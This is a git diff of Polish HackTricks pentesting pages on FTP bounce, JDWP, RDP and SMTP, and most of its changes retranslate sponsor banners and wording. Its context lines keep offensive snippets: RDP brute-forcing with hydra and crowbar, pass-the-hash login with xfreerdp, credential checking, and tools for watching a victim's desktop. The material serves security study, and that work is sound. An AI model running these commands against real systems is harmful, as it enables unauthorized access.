* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
|
@ -31,8 +31,8 @@ Jeśli masz dostęp do serwera FTP z odbiciem, możesz sprawić, aby zażądał
|
|||
- Ważne dane uwierzytelniające FTP na serwerze FTP Middle
|
||||
- Ważne dane uwierzytelniające FTP na serwerze FTP ofiary
|
||||
- Oba serwery akceptują polecenie PORT \(atak FTP z odbiciem\)
|
||||
- Możesz pisać w niektórych katalogach serwera FRP Middle
|
||||
- Serwer pośredniczący będzie miał większy dostęp do serwera FTP ofiary niż ty z jakiegoś powodu \(to jest to, co zamierzasz wykorzystać\)
|
||||
- Możesz pisać w niektórym katalogu serwera FTP Middle
|
||||
- Serwer pośredni będzie miał większy dostęp do serwera FTP ofiary niż ty z jakiegoś powodu \(to jest to, co zamierzasz wykorzystać\)
|
||||
|
||||
## Kroki
|
||||
|
||||
|
@ -48,7 +48,7 @@ Aby uzyskać bardziej szczegółowe informacje, sprawdź post: [http://www.ouah.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
|
@ -63,8 +63,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,15 +17,15 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Wykorzystywanie
|
||||
|
||||
Wykorzystywanie JDWP opiera się na **braku uwierzytelniania i szyfrowania w protokole**. Zwykle znajduje się na **porcie 8000**, ale możliwe są inne porty. Początkowe połączenie nawiązywane jest przez wysłanie "JDWP-Handshake" do docelowego portu. Jeśli usługa JDWP jest aktywna, odpowiada tym samym ciągiem, potwierdzając swoją obecność. Ten handshake działa jako metoda identyfikacji do rozpoznawania usług JDWP w sieci.
|
||||
Wykorzystywanie JDWP opiera się na **braku uwierzytelniania i szyfrowania protokołu**. Zwykle znajduje się na **porcie 8000**, ale możliwe są inne porty. Początkowe połączenie nawiązywane jest poprzez wysłanie "JDWP-Handshake" do docelowego portu. Jeśli usługa JDWP jest aktywna, odpowiada tym samym ciągiem, potwierdzając swoją obecność. Ten handshake działa jako metoda identyfikacji do rozpoznawania usług JDWP w sieci.
|
||||
|
||||
Jeśli chodzi o identyfikację procesów, wyszukiwanie ciągu "jdwk" w procesach Java może wskazywać na aktywną sesję JDWP.
|
||||
|
||||
|
@ -63,7 +63,7 @@ Zauważyłem, że użycie `--break-on 'java.lang.String.indexOf'` sprawia, że e
|
|||
6. **Implikacje bezpieczeństwa**:
|
||||
- Obecność otwartych usług JDWP w internecie podkreśla potrzebę regularnych przeglądów bezpieczeństwa, wyłączania funkcji debugowania w produkcji oraz odpowiedniej konfiguracji zapory.
|
||||
|
||||
### **Źródła:**
|
||||
### **Referencje:**
|
||||
|
||||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||
|
@ -80,7 +80,7 @@ Zauważyłem, że użycie `--break-on 'java.lang.String.indexOf'` sprawia, że e
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
|
@ -96,7 +96,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,9 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonywujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -45,9 +45,9 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -55,7 +55,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Opracowany przez Microsoft, **Remote Desktop Protocol** (**RDP**) jest zaprojektowany w celu umożliwienia połączenia z interfejsem graficznym między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienckiego **RDP**, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera **RDP**. Ta konfiguracja pozwala na płynne sterowanie i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika.
|
||||
Opracowany przez Microsoft, **Remote Desktop Protocol** (**RDP**) jest zaprojektowany w celu umożliwienia połączenia z interfejsem graficznym między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienckiego **RDP**, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera **RDP**. Ta konfiguracja umożliwia płynne sterowanie i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika.
|
||||
|
||||
**Domyślny port:** 3389
|
||||
```
|
||||
|
@ -57,24 +57,24 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
|||
# hydra
|
||||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||||
```
|
||||
### Połącz z znanymi poświadczeniami/hashami
|
||||
### Połączenie z znanymi poświadczeniami/hashami
|
||||
```bash
|
||||
rdesktop -u <username> <IP>
|
||||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
||||
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||||
```
|
||||
### Sprawdź znane dane uwierzytelniające w usługach RDP
|
||||
### Sprawdź znane poświadczenia w usługach RDP
|
||||
|
||||
rdp\_check.py z impacket pozwala sprawdzić, czy niektóre dane uwierzytelniające są ważne dla usługi RDP:
|
||||
rdp\_check.py z impacket pozwala sprawdzić, czy niektóre poświadczenia są ważne dla usługi RDP:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -127,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** to framework post-exploatacyjny stworzony w Powershell, zaprojektowany głównie w celu automatyzacji ataku **Shadow** na komputerach Microsoft Windows. Ta luka (wymieniana jako funkcja przez Microsoft) pozwala zdalnemu atakującemu na **oglądanie pulpitu ofiary bez jej zgody**, a nawet na kontrolowanie go na żądanie, korzystając z narzędzi natywnych dla samego systemu operacyjnego.
|
||||
**AutoRDPwn** to framework do post-exploatacji stworzony w Powershell, zaprojektowany głównie w celu automatyzacji ataku **Shadow** na komputerach Microsoft Windows. Ta luka (wymieniana jako funkcja przez Microsoft) pozwala zdalnemu atakującemu **widzieć pulpit swojej ofiary bez jej zgody**, a nawet kontrolować go na żądanie, używając narzędzi natywnych dla samego systemu operacyjnego.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* Kontroluj mysz i klawiaturę w zautomatyzowany sposób z linii poleceń
|
||||
|
@ -157,9 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -173,7 +173,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -200,9 +200,9 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -216,7 +216,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,17 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
**Protokół przesyłania poczty (SMTP)** to protokół wykorzystywany w ramach zestawu TCP/IP do **wysyłania i odbierania e-maili**. Z powodu swoich ograniczeń w kolejkowaniu wiadomości po stronie odbiorcy, SMTP często stosuje się w połączeniu z **POP3 lub IMAP**. Te dodatkowe protokoły umożliwiają użytkownikom przechowywanie wiadomości na serwerze pocztowym i okresowe ich pobieranie.
|
||||
**Protokół prostej wymiany poczty (SMTP)** to protokół wykorzystywany w ramach zestawu TCP/IP do **wysyłania i odbierania e-maili**. Z powodu swoich ograniczeń w kolejkowaniu wiadomości po stronie odbiorcy, SMTP często stosuje się w połączeniu z **POP3 lub IMAP**. Te dodatkowe protokoły umożliwiają użytkownikom przechowywanie wiadomości na serwerze pocztowym i okresowe ich pobieranie.
|
||||
|
||||
W praktyce powszechnie stosuje się, że **programy e-mailowe** wykorzystują **SMTP do wysyłania e-maili**, podczas gdy do ich odbierania używają **POP3 lub IMAP**. W systemach opartych na Unix, **sendmail** wyróżnia się jako najczęściej używany serwer SMTP do celów e-mailowych. Komercyjny pakiet znany jako Sendmail obejmuje serwer POP3. Ponadto, **Microsoft Exchange** zapewnia serwer SMTP i oferuje możliwość dodania wsparcia dla POP3.
|
||||
W praktyce powszechnie stosuje się, że **programy e-mailowe** wykorzystują **SMTP do wysyłania e-maili**, podczas gdy korzystają z **POP3 lub IMAP do ich odbierania**. W systemach opartych na Unixie, **sendmail** wyróżnia się jako najczęściej używany serwer SMTP do celów e-mailowych. Komercyjny pakiet znany jako Sendmail obejmuje serwer POP3. Ponadto, **Microsoft Exchange** zapewnia serwer SMTP i oferuje możliwość dodania wsparcia dla POP3.
|
||||
|
||||
**Domyślny port:** 25,465(ssl),587(ssl)
|
||||
```
|
||||
|
@ -171,15 +171,15 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Raporty DSN
|
||||
|
||||
**Raporty powiadomień o statusie dostarczenia**: Jeśli wyślesz **email** do organizacji na **nieprawidłowy adres**, organizacja powiadomi, że adres był nieprawidłowy, wysyłając **wiadomość z powrotem do Ciebie**. **Nagłówki** zwróconego emaila będą **zawierać** możliwe **wrażliwe informacje** (takie jak adres IP usług pocztowych, które miały kontakt z raportami lub informacje o oprogramowaniu antywirusowym).
|
||||
**Raporty powiadomień o statusie dostawy**: Jeśli wyślesz **email** do organizacji na **nieprawidłowy adres**, organizacja powiadomi, że adres był nieprawidłowy, wysyłając **wiadomość z powrotem do Ciebie**. **Nagłówki** zwróconego emaila będą **zawierać** możliwe **wrażliwe informacje** (takie jak adres IP usług pocztowych, które miały kontakt z raportami lub informacje o oprogramowaniu antywirusowym).
|
||||
|
||||
## [Polecenia](smtp-commands.md)
|
||||
|
||||
|
@ -295,7 +295,7 @@ Każdy mechanizm w polityce może być poprzedzony jednym z czterech kwalifikato
|
|||
* **`+`**: Odpowiada wynikowi PASS. Domyślnie mechanizmy zakładają ten kwalifikator, co sprawia, że `+mx` jest równoważne `mx`.
|
||||
* **`?`**: Reprezentuje wynik NEUTRAL, traktowany podobnie jak NONE (brak konkretnej polityki).
|
||||
* **`~`**: Oznacza SOFTFAIL, stanowiąc kompromis między NEUTRAL a FAIL. E-maile spełniające ten wynik są zazwyczaj akceptowane, ale odpowiednio oznaczone.
|
||||
* **`-`**: Wskazuje FAIL, sugerując, że e-mail powinien być odrzucony.
|
||||
* **`-`**: Oznacza FAIL, sugerując, że e-mail powinien być odrzucony.
|
||||
|
||||
W nadchodzącym przykładzie ilustrowana jest **polityka SPF google.com**. Zauważ włączenie polityk SPF z różnych domen w pierwszej polityce SPF:
|
||||
```shell-session
|
